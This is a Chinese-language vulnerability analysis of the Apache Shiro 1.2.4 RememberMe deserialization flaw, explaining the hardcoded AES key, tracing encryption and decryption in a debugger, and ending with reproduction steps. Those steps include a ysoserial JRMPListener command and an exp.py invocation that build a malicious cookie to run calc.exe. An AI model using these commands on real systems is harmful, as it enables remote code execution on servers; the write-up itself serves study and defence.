環境
jdk:1.8
shiro:1.2.4
Shiro簡介
Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易於理解的API,您可以快速、輕松地獲得任何應用程序,從最小的移動應用程序到最大的網絡和企業應用程序。
漏洞原理
Apache Shiro框架提供了記住我的功能(RememberMe),用戶登陸成功后會生成經過加密並編碼的cookie。cookie的key為RememberMe,cookie的值是經過對相關信息進行序列化,然后使用aes加密,最后在使用base64編碼處理形成的。
rememberMe生成過程:
序列化 》AES加密》Base64 編碼》 生成rememberMe內容
服務端接收cookie值時:
檢索cookie中的rememberMe內容 》 Base64 解密》 AES解密 (加密密鑰硬編碼)》反序列化(未作過濾處理)
AES的加密密鑰在shiro的1.2.4之前版本中使用的是硬編碼,其默認密鑰的base64編碼后的值可在代碼中找到。只要找到密鑰后就可以通過構造惡意的序列化對象進行編碼,加密,然后作為cookie加密發送,服務端接收后會解密並觸發反序列化漏洞。
漏洞分析
1.加密過程
勾選rememberme進行登錄。

在AbstractRememberMeManager類中的encrypt方法處下斷點。在驗證登錄成功后,serialized的值為用戶名root序列化后的數據。

查看cipherService值,發現使用AES加密,模式為CBC,128位,填充方式為PKCS5Padding。

跟進cipherService.encrypt方法后,進入JcaCipherService類中的encrypt方法中。

繼續跟進encrypt方法。

真正的生成加密結果。

來到rememberSerializedIdentity方法,跟進后,加密的數據經base64編碼加入到cookie中。

2.解密過程
在CookieRememberMeManager類中的讀取cookie處下斷點。

進入readValue()方法,將cookie中的remember字段值賦予value並返回。

對數據進行base64解碼。

進入AbstractRememberMeManager類中的convertBytesToPrincipals方法。

跟進decrypt方法。

在decrypt方法中,跟進getCipherService方法。

在getCipherService方法中,獲取加密方法:AES/CBC/PKCS5Padding。

繼續查看decrypt方法,通過cipherService的decrypt來解密數據,跟進后進入JcaCipherService類中的decrypt方法。

繼續跟進decrypt方法。

完成解密后,返回解密后的數據。

回到AbstractRememberMeManager 類中的decrypt方法,查看序列化數據。
來到deserialize方法,跟進。

繼續跟進deserialize方法。

進入DefaultSerializer類中的deserialize方法,出現readObject()。

漏洞復現
1.使用ysoserial中JRMP監聽模塊監聽1099端口,執行命令:calc.exe。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "calc.exe"
2.生成rememberMe。
python exp.py 192.168.1.102:1099
3.將生成的rememberMe值添加到cookie中。

4.命令成功執行。

參考鏈接:
https://xz.aliyun.com/t/8997#toc-1
https://www.jianshu.com/p/a9c2d3414b63
https://cloud.tencent.com/developer/article/1078421
